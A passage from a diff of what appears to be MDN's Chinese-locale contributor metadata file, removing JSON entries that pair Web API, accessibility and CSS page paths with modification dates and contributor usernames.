"2019-03-18T20:53:56.985Z", "contributors": [ @@ -13747,12 +11764,6 @@ "flyingsouthwind" ] }, - "Web/API/FetchObserver": { - "modified": "2019-03-23T22:06:02.004Z", - "contributors": [ - "wuCrio" - ] - }, "Web/API/Fetch_API": { "modified": "2020-10-15T21:39:36.250Z", "contributors": [ @@ -14072,12 +12083,6 @@ "mmc" ] }, - "Web/API/FileReader/中止事件(abort)": { - "modified": "2020-12-13T03:52:22.584Z", - "contributors": [ - "VacantHusky" - ] - }, "Web/API/FileReaderSync": { "modified": "2020-10-15T21:07:17.864Z", "contributors": [ @@ -14286,14 +12291,6 @@ "wth" ] }, - "Web/API/FormData/删除": { - "modified": "2020-10-15T21:48:28.738Z", - "contributors": [ - "RainSlide", - "stevobm", - "tomi-li" - ] - }, "Web/API/Frame_Timing_API": { "modified": "2020-03-18T00:42:57.197Z", "contributors": [ @@ -14319,13 +12316,6 @@ "codeofjackie" ] }, - "Web/API/Fullscreen_API/指南": { - "modified": "2020-10-15T22:14:45.841Z", - "contributors": [ - "Soyaine", - "wuzy_oye" - ] - }, "Web/API/GainNode": { "modified": "2020-10-15T21:47:52.341Z", "contributors": [ @@ -14413,19 +12403,6 @@ "ziyunfei" ] }, - "Web/API/Geolocation/Using_geolocation": { - "modified": "2019-07-01T03:42:53.000Z", - "contributors": [ - "aimilu", - "Syoogool", - "rongnianzu", - "rrandom", - "ziyunfei", - "Breezewish", - "shura-china", - "xcffl" - ] - }, "Web/API/Geolocation/clearWatch": { "modified": "2019-03-23T22:21:23.856Z", "contributors": [ @@ -14475,12 +12452,6 @@ "wangxb" ] }, - "Web/API/GeolocationPosition/获取该位置时的时间戳": { - "modified": "2020-10-15T22:32:25.842Z", - "contributors": [ - "liu-yanlong" - ] - }, "Web/API/GeolocationPositionError": { "modified": "2019-12-10T10:46:31.825Z", "contributors": [ @@ -14503,12 +12474,6 @@ "teoli" ] }, - "Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove": { - "modified": "2019-03-23T22:38:32.324Z", - "contributors": [ - "zhangqiong" - ] - }, "Web/API/GlobalEventHandlers/onabort": { "modified": "2019-03-23T22:38:34.243Z", "contributors": [ @@ -14984,13 +12949,6 @@ "1Cr18Ni9" ] }, - "Web/API/GlobalEventHandlers/时长改变": { - "modified": "2020-10-15T22:21:15.042Z", - "contributors": [ - "suvyme", - "amehito" - ] - }, "Web/API/HTMLAnchorElement": { "modified": "2019-03-23T22:49:30.797Z", "contributors": [ @@ -15007,12 +12965,6 @@ "JinRong.Yang" ] }, - "Web/API/HTMLAnchorElement/referrer": { - "modified": "2019-03-23T22:47:13.629Z", - "contributors": [ - "ziyunfei" - ] - }, "Web/API/HTMLAreaElement": { "modified": "2019-03-23T22:59:31.575Z", "contributors": [ @@ -15135,13 +13087,6 @@ "xrr2016" ] }, - "Web/API/HTMLCanvasElement/捕获流": { - "modified": "2020-03-01T21:28:17.989Z", - "contributors": [ - "jollybearchina", - "dxiaoqi" - ] - }, "Web/API/HTMLCollection": { "modified": "2019-03-18T21:11:26.633Z", "contributors": [ @@ -15250,14 +13195,6 @@ "Carllllo" ] }, - "Web/API/HTMLElement/blur": { - "modified": "2019-03-23T22:00:21.147Z", - "contributors": [ - "teoli", - "fscholz", - "ziyunfei" - ] - }, "Web/API/HTMLElement/click": { "modified": "2020-10-15T21:06:30.174Z", "contributors": [ @@ -15289,17 +13226,6 @@ "1Cr18Ni9" ] }, - "Web/API/HTMLElement/dataset": { - "modified": "2019-08-08T12:52:36.012Z", - "contributors": [ - "ilexwg", - "xgqfrms-GitHub", - "teoli", - "ziyunfei", - "ReyCG_sub", - "ReyCG" - ] - }, "Web/API/HTMLElement/dir": { "modified": "2019-03-24T00:16:19.875Z", "contributors": [ @@ -15311,16 +13237,6 @@ "Dewang" ] }, - "Web/API/HTMLElement/focus": { - "modified": "2020-10-15T21:06:47.253Z", - "contributors": [ - "RainSlide", - "slimeball", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/HTMLElement/forceSpellCheck": { "modified": "2019-03-18T21:38:32.415Z", "contributors": [ @@ -15349,13 +13265,6 @@ "AlexChao" ] }, - "Web/API/HTMLElement/nonce": { - "modified": "2020-12-05T03:41:17.381Z", - "contributors": [ - "hufeicom", - "chenqingyue" - ] - }, "Web/API/HTMLElement/offsetHeight": { "modified": "2020-10-15T21:33:02.404Z", "contributors": [ @@ -15464,25 +13373,6 @@ "14725" ] }, - "Web/API/HTMLElement/style": { - "modified": "2020-10-15T21:30:08.559Z", - "contributors": [ - "zhuangyin", - "xgqfrms-GitHub", - "distums", - "teoli", - "AlexChao" - ] - }, - "Web/API/HTMLElement/tabIndex": { - "modified": "2019-03-24T00:16:26.046Z", - "contributors": [ - "teoli", - "Hasilt", - "sleepholic", - "ziyunfei" - ] - }, "Web/API/HTMLElement/title": { "modified": "2020-01-21T18:29:28.077Z", "contributors": [ @@ -15681,14 +13571,6 @@ "yingying1957" ] }, - "Web/API/HTMLInputElement/mozSetFileNameArray": { - "modified": "2019-03-23T23:32:37.731Z", - "contributors": [ - "teoli", - "basemnassar11", - "ziyunfei" - ] - }, "Web/API/HTMLInputElement/multiple": { "modified": "2020-10-15T22:22:05.182Z", "contributors": [ @@ -16957,12 +14839,6 @@ "xrr2016" ] }, - "Web/API/Intersection_Observer_API/点观察者API的时序元素可见性": { - "modified": "2019-03-23T22:11:40.163Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/Keyboard": { "modified": "2020-10-15T22:23:40.344Z", "contributors": [ @@ -17190,12 +15066,6 @@ "tlos142857" ] }, - "Web/API/MSSelection": { - "modified": "2020-02-27T01:47:20.687Z", - "contributors": [ - "MCCF" - ] - }, "Web/API/MathMLElement": { "modified": "2020-10-15T22:28:40.535Z", "contributors": [ @@ -17412,12 +15282,6 @@ "luojia" ] }, - "Web/API/MediaStream.addTrack": { - "modified": "2019-03-23T22:37:09.665Z", - "contributors": [ - "w05163" - ] - }, "Web/API/MediaStream/MediaStream": { "modified": "2020-10-15T22:22:53.267Z", "contributors": [ @@ -17885,12 +15749,6 @@ "Visper" ] }, - "Web/API/NameList": { - "modified": "2019-03-23T22:46:53.836Z", - "contributors": [ - "MeCKodo" - ] - }, "Web/API/NamedNodeMap": { "modified": "2019-03-23T23:03:50.009Z", "contributors": [ @@ -18193,12 +16051,6 @@ "udo-china" ] }, - "Web/API/NavigatorGeolocation": { - "modified": "2019-03-23T23:01:18.415Z", - "contributors": [ - "teoli" - ] - }, "Web/API/NavigatorID": { "modified": "2019-03-23T23:10:30.690Z", "contributors": [ @@ -18342,12 +16194,6 @@ "ziyunfei" ] }, - "Web/API/NavigatorPlugins/测试滕盖": { - "modified": "2019-03-23T22:49:37.647Z", - "contributors": [ - "ChenChenJoke" - ] - }, "Web/API/NavigatorStorage": { "modified": "2020-10-15T22:06:22.408Z", "contributors": [ @@ -18440,14 +16286,6 @@ "ziyunfei" ] }, - "Web/API/Node/baseURIObject": { - "modified": "2019-03-24T00:17:51.751Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Node/childNodes": { "modified": "2019-03-24T00:16:20.224Z", "contributors": [ @@ -18531,16 +16369,6 @@ "Xiaobian" ] }, - "Web/API/Node/innerText": { - "modified": "2020-10-15T21:50:36.703Z", - "contributors": [ - "wuyou", - "RainSlide", - "keifergu", - "xgqfrms-GitHub", - "Aolose" - ] - }, "Web/API/Node/insertBefore": { "modified": "2020-10-15T21:22:01.727Z", "contributors": [ @@ -18660,14 +16488,6 @@ "ziyunfei" ] }, - "Web/API/Node/nodePrincipal": { - "modified": "2019-03-23T23:09:34.131Z", - "contributors": [ - "teoli", - "ziyunfei", - "AlexChao" - ] - }, "Web/API/Node/nodeType": { "modified": "2019-10-05T15:43:35.594Z", "contributors": [ @@ -18704,12 +16524,6 @@ "ziyunfei" ] }, - "Web/API/Node/outerText": { - "modified": "2019-01-17T00:59:24.641Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/Node/ownerDocument": { "modified": "2019-03-24T00:17:19.313Z", "contributors": [ @@ -18780,13 +16594,6 @@ "ziyunfei" ] }, - "Web/API/Node/rootNode": { - "modified": "2019-03-18T21:40:49.635Z", - "contributors": [ - "wbamberg", - "LoveofRedMoon" - ] - }, "Web/API/Node/setUserData": { "modified": "2019-03-23T23:09:32.465Z", "contributors": [ @@ -18962,13 +16769,6 @@ "micblo" ] }, - "Web/API/OfflineAudioContext/complete": { - "modified": "2020-10-15T22:17:22.684Z", - "contributors": [ - "ewfian", - "ljx23136138" - ] - }, "Web/API/OfflineAudioContext/length": { "modified": "2019-03-23T22:13:45.696Z", "contributors": [ @@ -19319,12 +17119,6 @@ "dblate" ] }, - "Web/API/Performance/内存": { - "modified": "2020-10-15T22:29:17.983Z", - "contributors": [ - "biqing" - ] - }, "Web/API/PerformanceEntry": { "modified": "2020-10-15T21:53:01.540Z", "contributors": [ @@ -19747,14 +17541,6 @@ "BettyCHEN" ] }, - "Web/API/Push_API/Using_the_Push_API": { - "modified": "2019-03-23T22:26:22.995Z", - "contributors": [ - "vankai", - "xgqfrms-GitHub", - "hibernake" - ] - }, "Web/API/RTCConfiguration": { "modified": "2019-03-23T22:18:59.231Z", "contributors": [ @@ -19962,20 +17748,6 @@ "rmamy" ] }, - "Web/API/RandomSource": { - "modified": "2019-03-23T22:14:07.005Z", - "contributors": [ - "micblo" - ] - }, - "Web/API/RandomSource/getRandomValues": { - "modified": "2020-10-15T21:53:31.704Z", - "contributors": [ - "RainSlide", - "ywjco", - "micblo" - ] - }, "Web/API/Range": { "modified": "2020-10-15T21:14:38.719Z", "contributors": [ @@ -20410,13 +18182,6 @@ "wl237292950" ] }, - "Web/API/Response/克隆": { - "modified": "2019-03-23T22:03:57.353Z", - "contributors": [ - "Ende93", - "xiaoxiaojx" - ] - }, "Web/API/SVGAElement": { "modified": "2019-09-09T08:02:49.792Z", "contributors": [ @@ -20610,13 +18375,6 @@ "Sheppy" ] }, - "Web/API/Screen_Capture_API/使用屏幕捕获API": { - "modified": "2020-09-27T04:18:52.593Z", - "contributors": [ - "Bigsomg", - "hzy" - ] - }, "Web/API/ScriptProcessorNode": { "modified": "2019-03-23T22:12:23.715Z", "contributors": [ @@ -20805,12 +18563,6 @@ "yuhengliang" ] }, - "Web/API/Selection/从Document中删除": { - "modified": "2019-03-23T22:25:17.531Z", - "contributors": [ - "FormatFa" - ] - }, "Web/API/Sensor_APIs": { "modified": "2020-10-15T22:11:34.758Z", "contributors": [ @@ -21002,12 +18754,6 @@ "Katherina-Miao" ] }, - "Web/API/Slotable": { - "modified": "2020-10-15T22:26:24.148Z", - "contributors": [ - "RainSlide" - ] - }, "Web/API/SourceBuffer": { "modified": "2020-10-15T22:20:48.679Z" }, @@ -21101,18 +18847,6 @@ "ThijsK" ] }, - "Web/API/Storage/LocalStorage": { - "modified": "2019-03-23T22:25:01.381Z", - "contributors": [ - "CuriosityLxn", - "jaiJia", - "lightning-zgc", - "kankk", - "tabooc", - "luneice", - "liuzeyafzy" - ] - }, "Web/API/Storage/clear": { "modified": "2019-03-23T22:58:05.467Z", "contributors": [ @@ -21209,18 +18943,6 @@ "jiangseventeen" ] }, - "Web/API/Streams_API/使用可读文件流": { - "modified": "2019-08-08T09:43:09.249Z", - "contributors": [ - "qushuangru" - ] - }, - "Web/API/Streams_API/概念": { - "modified": "2020-10-27T00:49:21.364Z", - "contributors": [ - "xyzingh" - ] - }, "Web/API/StylePropertyMap": { "modified": "2020-10-15T22:12:27.758Z", "contributors": [ @@ -21408,12 +19130,6 @@ "MCCF" ] }, - "Web/API/TextRange/text": { - "modified": "2020-02-26T01:25:35.461Z", - "contributors": [ - "MCCF" - ] - }, "Web/API/TimeRanges": { "modified": "2019-03-18T21:37:59.069Z", "contributors": [ @@ -21729,12 +19445,6 @@ "khalid32" ] }, - "Web/API/UIEvent/视图": { - "modified": "2020-10-15T22:25:09.871Z", - "contributors": [ - "pans9" - ] - }, "Web/API/URL": { "modified": "2020-10-15T21:33:08.666Z", "contributors": [ @@ -21873,14 +19583,6 @@ "gongshun" ] }, - "Web/API/URL/密码": { - "modified": "2020-10-15T22:20:32.740Z", - "contributors": [ - "zhangchen", - "jessieic", - "jinjin" - ] - }, "Web/API/URLSearchParams": { "modified": "2020-10-15T21:31:23.789Z", "contributors": [ @@ -21973,64 +19675,6 @@ "Heptagonnnn" ] }, - "Web/API/URLUtils": { - "modified": "2020-10-15T21:33:08.803Z", - "contributors": [ - "RainSlide", - "AyAmeng", - "teoli" - ] - }, - "Web/API/URLUtils/hash": { - "modified": "2020-02-24T00:59:03.514Z", - "contributors": [ - "ikomom", - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/href": { - "modified": "2019-03-23T22:13:56.960Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/origin": { - "modified": "2019-03-23T22:12:28.154Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/password": { - "modified": "2019-03-23T22:12:38.210Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/pathname": { - "modified": "2019-03-23T22:12:27.883Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/search": { - "modified": "2019-03-23T22:16:26.271Z", - "contributors": [ - "xgqfrms-GitHub", - "kameii" - ] - }, - "Web/API/URLUtils/toString": { - "modified": "2019-03-23T22:13:59.877Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/username": { - "modified": "2019-03-23T22:12:31.600Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/URL_API": { "modified": "2020-10-15T22:31:18.077Z", "contributors": [ @@ -22795,12 +20439,6 @@ "shenwenkai" ] }, - "Web/API/WebGLRenderingContext/多边形偏移(polygonOffset)": { - "modified": "2020-10-15T22:09:39.645Z", - "contributors": [ - "ZhaoYaoSheng" - ] - }, "Web/API/WebGLSampler": { "modified": "2020-10-15T22:13:50.281Z", "contributors": [ @@ -23144,14 +20782,6 @@ "ziyunfei" ] }, - "Web/API/WebRTC_API/Architecture": { - "modified": "2020-04-24T05:54:00.386Z", - "contributors": [ - "xgqfrms", - "ziyunfei", - "SparrowLiu" - ] - }, "Web/API/WebRTC_API/Connectivity": { "modified": "2020-07-13T03:42:02.521Z", "contributors": [ @@ -23160,12 +20790,6 @@ "Move" ] }, - "Web/API/WebRTC_API/Overview": { - "modified": "2019-03-23T22:45:00.042Z", - "contributors": [ - "Ling.kevin" - ] - }, "Web/API/WebRTC_API/Protocols": { "modified": "2020-04-24T06:06:42.725Z", "contributors": [ @@ -23204,14 +20828,6 @@ "Move" ] }, - "Web/API/WebRTC_API/WebRTC_basics": { - "modified": "2019-09-24T02:45:56.457Z", - "contributors": [ - "lixl", - "huangcheng", - "SparrowLiu" - ] - }, "Web/API/WebRTC_API/adapter.js": { "modified": "2020-04-17T09:34:28.178Z", "contributors": [ @@ -23356,13 +20972,6 @@ "HIKALU-Z" ] }, - "Web/API/WebSocket/二进制类型": { - "modified": "2020-10-15T22:11:38.195Z", - "contributors": [ - "snowwolfjay", - "jaredhan418" - ] - }, "Web/API/WebSockets_API": { "modified": "2019-03-23T22:06:25.324Z", "contributors": [ @@ -23372,12 +20981,6 @@ "luojia" ] }, - "Web/API/WebSockets_API/WebSocket_Server_Vb.NET": { - "modified": "2019-03-18T21:29:02.340Z", - "contributors": [ - "xiaoyixiang" - ] - }, "Web/API/WebSockets_API/Writing_WebSocket_client_applications": { "modified": "2019-03-23T22:05:13.416Z", "contributors": [ @@ -23547,12 +21150,6 @@ "smilewalker" ] }, - "Web/API/Web_Audio_API/最佳实践": { - "modified": "2020-04-13T06:14:13.545Z", - "contributors": [ - "KotoriK" - ] - }, "Web/API/Web_Authentication_API": { "modified": "2020-03-16T06:43:10.491Z", "contributors": [ @@ -23723,19 +21320,6 @@ "Langdom" ] }, - "Web/API/Window/URL": { - "modified": "2019-03-23T22:22:37.359Z", - "contributors": [ - "xgqfrms-GitHub", - "Boring" - ] - }, - "Web/API/Window/Window.blur()": { - "modified": "2019-03-23T22:13:16.814Z", - "contributors": [ - "Toxni" - ] - }, "Web/API/Window/alert": { "modified": "2019-03-30T09:23:53.924Z", "contributors": [ @@ -23792,17 +21376,6 @@ "movinghorse" ] }, - "Web/API/Window/clearInterval": { - "modified": "2020-10-15T21:21:33.193Z", - "contributors": [ - "RainCruise", - "RainSlide", - "luojia", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/close": { "modified": "2020-10-15T21:06:33.538Z", "contributors": [ @@ -24006,12 +21579,6 @@ "libin2866" ] }, - "Web/API/Window/getAttention": { - "modified": "2020-10-15T22:21:28.407Z", - "contributors": [ - "luoxue-victor" - ] - }, "Web/API/Window/getComputedStyle": { "modified": "2020-10-15T21:29:18.864Z", "contributors": [ @@ -24251,18 +21818,6 @@ "xgqfrms-GitHub" ] }, - "Web/API/Window/onbeforeunload": { - "modified": "2019-05-09T03:05:32.709Z", - "contributors": [ - "johnlin0207", - "Etoile984816138", - "1Cr18Ni9", - "teoli", - "khalid32", - "ziyunfei", - "WenbingZheng" - ] - }, "Web/API/Window/ondevicelight": { "modified": "2019-03-18T21:46:43.834Z", "contributors": [ @@ -24312,18 +21867,6 @@ "AWhiteMouse" ] }, - "Web/API/Window/onhashchange": { - "modified": "2020-10-15T21:06:52.013Z", - "contributors": [ - "Arnie97", - "xgqfrms-GitHub", - "Ende93", - "vuji", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/online_event": { "modified": "2019-04-18T11:22:47.220Z", "contributors": [ @@ -24333,14 +21876,6 @@ "getfile" ] }, - "Web/API/Window/onmouseup": { - "modified": "2019-03-24T00:16:16.641Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/onmozbeforepaint": { "modified": "2019-03-18T21:35:53.123Z", "contributors": [ @@ -24353,38 +21888,6 @@ "JARROWXU" ] }, - "Web/API/Window/onpopstate": { - "modified": "2020-10-15T21:07:15.381Z", - "contributors": [ - "SUCHMOKUO", - "wuyou", - "ReedSun", - "wenshin", - "xiaomingming", - "vose2008", - "teoli", - "Hasilt", - "ziyunfei" - ] - }, - "Web/API/Window/onscroll": { - "modified": "2019-03-24T00:15:58.211Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, - "Web/API/Window/onunload": { - "modified": "2020-10-23T06:31:44.836Z", - "contributors": [ - "liguorain", - "lon", - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, "Web/API/Window/onuserproximity": { "modified": "2020-10-15T22:25:33.168Z", "contributors": [ @@ -24638,12 +22141,6 @@ "zhangqiong" ] }, - "Web/API/Window/restore": { - "modified": "2020-10-15T22:06:41.722Z", - "contributors": [ - "Bayes" - ] - }, "Web/API/Window/screen": { "modified": "2019-03-18T21:16:53.760Z", "contributors": [ @@ -24798,62 +22295,6 @@ "ziyunfei" ] }, - "Web/API/Window/setInterval": { - "modified": "2020-11-25T18:16:55.949Z", - "contributors": [ - "RayTang-hub", - "cellinlab", - "Jiangmenghao", - "TXYjing", - "Soul", - "fengbin", - "RainSlide", - "brandonhyc", - "xgqfrms-GitHub", - "shery", - "xgqfrms", - "teoli", - "khalid32", - "ziyunfei", - "sonicview" - ] - }, - "Web/API/Window/setTimeout": { - "modified": "2020-10-15T21:19:52.746Z", - "contributors": [ - "SnowGojira", - "iyow", - "johnao", - "chrisdavidmills", - "csga31971", - "baijingfeng", - "Reci-z", - "horrylala", - "Adashuai5", - "LilyWakana", - "Mars687", - "pinpinye", - "Lby876176278", - "Chancefeng", - "fscholz", - "xiazhe", - "Frorice", - "yhtml5", - "righttoe", - "Toxni", - "piemonSong", - "xgqfrms-GitHub", - "heke2929", - "SnowOnion", - "Chimen", - "hbkdsm", - "paddingme", - "teoli", - "khalid32", - "Meteormatt", - "ziyunfei" - ] - }, "Web/API/Window/showModalDialog": { "modified": "2019-07-21T23:38:59.262Z", "contributors": [ @@ -24925,46 +22366,6 @@ "lovue" ] }, - "Web/API/WindowBase64/Base64_encoding_and_decoding": { - "modified": "2020-09-03T07:22:36.242Z", - "contributors": [ - "WangXBruc", - "waitingsong", - "RainSlide", - "luojia", - "fghpdf", - "ahcheqiu" - ] - }, - "Web/API/WindowBase64/atob": { - "modified": "2020-10-15T21:07:00.713Z", - "contributors": [ - "RainSlide", - "zhangchen", - "nkliyc", - "dingyanhe", - "xgqfrms-GitHub", - "ziyunfei", - "happyWang", - "teoli", - "khalid32" - ] - }, - "Web/API/WindowBase64/btoa": { - "modified": "2020-10-15T21:06:58.236Z", - "contributors": [ - "RainSlide", - "zhangchen", - "RoXoM", - "Carrotzpc", - "dingyanhe", - "xgqfrms-GitHub", - "ziyunfei", - "teoli", - "khalid32", - "cuixiping" - ] - }, "Web/API/WindowClient": { "modified": "2019-03-23T22:11:45.641Z", "contributors": [ @@ -25092,15 +22493,6 @@ "RainSlide" ] }, - "Web/API/WindowTimers/clearTimeout": { - "modified": "2020-06-09T04:49:33.480Z", - "contributors": [ - "Humilitas", - "zhangchen", - "luojia", - "paddingme" - ] - }, "Web/API/Worker": { "modified": "2020-10-15T21:22:11.206Z", "contributors": [ @@ -25630,40 +23022,6 @@ "kuugua" ] }, - "Web/API/event.altKey": { - "modified": "2019-03-24T00:16:10.184Z", - "contributors": [ - "ziyunfei", - "teoli", - "jsx" - ] - }, - "Web/API/event.button": { - "modified": "2019-03-24T00:18:20.119Z", - "contributors": [ - "ziyunfei", - "teoli", - "AshfaqHossain" - ] - }, - "Web/API/event.relatedTarget": { - "modified": "2019-03-23T23:09:12.340Z", - "contributors": [ - "wbamberg", - "zhangqiong", - "ziyunfei", - "teoli", - "Darrel.Hsu" - ] - }, - "Web/API/event.shiftKey": { - "modified": "2019-03-24T00:16:22.591Z", - "contributors": [ - "ziyunfei", - "teoli", - "khalid32" - ] - }, "Web/API/notification": { "modified": "2020-09-28T00:03:47.900Z", "contributors": [ @@ -25685,16 +23043,6 @@ "fengwuxin" ] }, - "Web/API/notification/Using_Web_Notifications": { - "modified": "2020-03-18T06:57:06.393Z", - "contributors": [ - "wangyb1026", - "Yifang-Tongxing", - "845056166", - "xgqfrms-GitHub", - "Hawkeyes_Wind" - ] - }, "Web/API/notification/actions": { "modified": "2019-03-23T22:09:42.603Z", "contributors": [ @@ -25797,43 +23145,6 @@ "BSPR0002" ] }, - "Web/API/notification/sound": { - "modified": "2019-03-18T21:17:44.470Z", - "contributors": [ - "ZZES_REN" - ] - }, - "Web/API/指数": { - "modified": "2020-09-07T03:42:22.980Z", - "contributors": [ - "SphinxKnight", - "hl7514576" - ] - }, - "Web/API/支付_请求_接口": { - "modified": "2020-10-15T22:21:11.974Z", - "contributors": [ - "CapriceLi" - ] - }, - "Web/API/支付_请求_接口/Concepts": { - "modified": "2019-07-19T05:54:54.946Z", - "contributors": [ - "CapriceLi" - ] - }, - "Web/API/语音识别": { - "modified": "2020-10-15T22:15:39.263Z", - "contributors": [ - "burt1025lzz" - ] - }, - "Web/API/语音识别/result_event": { - "modified": "2020-10-15T22:28:01.971Z", - "contributors": [ - "coock1996" - ] - }, "Web/Accessibility": { "modified": "2020-08-04T10:11:09.882Z", "contributors": [ @@ -25896,19 +23207,6 @@ "ldwformat" ] }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role": { - "modified": "2019-03-23T22:05:01.811Z", - "contributors": [ - "TiaossuP" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性": { - "modified": "2019-10-31T22:25:58.797Z", - "contributors": [ - "YoMiao", - "civerzhang" - ] - }, "Web/Accessibility/ARIA/forms": { "modified": "2019-03-23T22:16:33.505Z", "contributors": [ @@ -25941,12 +23239,6 @@ "hbwhzk" ] }, - "Web/Accessibility/Web_Development": { - "modified": "2019-03-23T22:29:25.203Z", - "contributors": [ - "qianzhangcheng" - ] - }, "Web/CSS": { "modified": "2020-12-02T23:03:48.358Z", "contributors": [ @@ -26122,13 +23414,6 @@ "LoveofRedMoon" ] }, - "Web/CSS/:-moz-placeholder": { - "modified": "2019-03-23T23:21:19.033Z", - "contributors": [ - "teoli", - "bowen-shi" - ] - }, "Web/CSS/:-moz-window-inactive": { "modified": "2019-03-18T21:33:22.659Z", "contributors": [ @@ -26137,14 +23422,6 @@ "apple1juice" ] }, - "Web/CSS/::-moz-placeholder": { - "modified": "2019-03-23T23:21:18.757Z", - "contributors": [ - "FrontENG", - "teoli", - "bowen-shi" - ] - }, "Web/CSS/::-moz-progress-bar": { "modified": "2020-07-10T07:07:20.466Z", "contributors": [ @@ -26332,15 +23609,6 @@ "psychebb" ] }, - "Web/CSS/:any": { - "modified": "2019-03-23T22:23:18.210Z", - "contributors": [ - "Minya_Chan", - "LinYunweb", - "shuihuo", - "tigercao" - ] - }, "Web/CSS/:any-link": { "modified": "2020-10-15T21:56:20.733Z", "contributors": [ @@ -26348,13 +23616,6 @@ "anjia" ] }, - "Web/CSS/:blank空白伪类": { - "modified": "2020-10-15T22:21:57.411Z", - "contributors": [ - "RainSlide", - "karma2014" - ] - }, "Web/CSS/:checked": { "modified": "2020-10-15T21:42:35.145Z", "contributors": [ @@ -27028,41 +24289,6 @@ "cvrebert" ] }, - "Web/CSS/@viewport/height": { - "modified": "2020-11-27T23:49:12.467Z", - "contributors": [ - "xusy" - ] - }, - "Web/CSS/@viewport/orientation": { - "modified": "2019-03-23T22:28:00.871Z", - "contributors": [ - "Minya_Chan" - ] - }, - "Web/CSS/@viewport/viewport-fit": { - "modified": "2020-10-15T22:19:15.758Z", - "contributors": [ - "PYGC", - "gzbitzxx", - "zhangchen", - "x1aodingdang" - ] - }, - "Web/CSS/@viewport/width": { - "modified": "2019-10-22T01:59:54.524Z", - "contributors": [ - "Zhang-Junzhi", - "xpromise" - ] - }, - "Web/CSS/@viewport/zoom": { - "modified": "2020-10-15T21:50:31.298Z", - "contributors": [ - "zhangchen", - "azhi09" - ] - }, "Web/CSS/Adjacent_sibling_combinator": { "modified": "2020-10-15T21:22:13.249Z", "contributors": [ @@ -27077,22 +24303,6 @@ "alimon" ] }, - "Web/CSS/All_About_The_Containing_Block": { - "modified": "2020-10-09T00:31:23.855Z", - "contributors": [ - "Chellyyy", - "Young-Spark", - "laizenan", - "alattalatta", - "thxiami", - "studyMakesMeHappy", - "peppermintCode", - "tolerious", - "hehex9", - "littlelake", - "ucev" - ] - }, "Web/CSS/Alternative_style_sheets": { "modified": "2020-10-15T22:30:11.278Z", "contributors": [ @@ -27133,12 +24343,6 @@ "Pada" ] }, - "Web/CSS/CSSOM_View/坐标系": { - "modified": "2019-03-18T21:28:19.895Z", - "contributors": [ - "1Cr18Ni9" - ] - }, "Web/CSS/CSS_Animations": { "modified": "2020-10-15T21:40:13.943Z", "contributors": [ @@ -27176,13 +24380,6 @@ "hutuxu" ] }, - "Web/CSS/CSS_Background_and_Borders": { - "modified": "2019-03-23T22:45:29.966Z", - "contributors": [ - "FrontENG", - "teoli" - ] - }, "Web/CSS/CSS_Background_and_Borders/Border-image_generator": { "modified": "2019-03-18T21:15:13.389Z", "contributors": [ @@ -27190,22 +24387,6 @@ "yellowstar1992" ] }, - "Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds": { - "modified": "2019-03-23T23:28:25.343Z", - "contributors": [ - "imwangpan", - "teoli", - "Nightingale" - ] - }, - "Web/CSS/CSS_Background_and_Borders/圆角边框发生器": { - "modified": "2019-03-23T22:42:48.406Z", - "contributors": [ - "FrontENG", - "beyoursun", - "regiondavid" - ] - }, "Web/CSS/CSS_Backgrounds_and_Borders": { "modified": "2019-03-18T21:45:20.317Z", "contributors": [ @@ -27214,12 +24395,6 @@ "Sheppy" ] }, - "Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images": { - "modified": "2019-03-18T21:38:07.175Z", - "contributors": [ - "Aaron_Zhung" - ] - }, "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { "modified": "2019-03-18T21:45:25.619Z", "contributors": [ @@ -27255,14 +24430,6 @@ "ziyunfei" ] }, - "Web/CSS/CSS_Box_Model/Box-shadow_generator": { - "modified": "2019-03-18T20:43:42.671Z", - "contributors": [ - "BychekRU", - "TiaossuP", - "charlie" - ] - }, "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": { "modified": "2019-10-01T21:50:12.174Z", "contributors": [ @@ -27315,13 +24482,6 @@ "xusy" ] }, - "Web/CSS/CSS_Colors": { - "modified": "2019-03-23T22:09:37.851Z", - "contributors": [ - "GHLandy", - "Krenair" - ] - }, "Web/CSS/CSS_Colors/Color_picker_tool": { "modified": "2019-09-28T22:09:24.320Z", "contributors": [ @@ -27438,17 +24598,6 @@ "helloyong" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持": { - "modified": "2020-02-11T09:41:01.217Z", - "contributors": [ - "knightyun", - "fanjianfeng1010", - "EndlessSong", - "minvedacat", - "Ran_Lyu", - "xieminjie" - ] - }, "Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items": { "modified": "2020-10-21T03:55:55.262Z", "contributors": [ @@ -27456,17 +24605,6 @@ "qwertty" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Mixins": { - "modified": "2019-03-23T22:33:55.727Z", - "contributors": [ - "chrisdavidmills", - "SmilyLiang", - "SolitudeRA", - "zhicongyang", - "xgqfrms", - "jiahui" - ] - }, "Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items": { "modified": "2020-10-15T23:39:20.262Z", "contributors": [ @@ 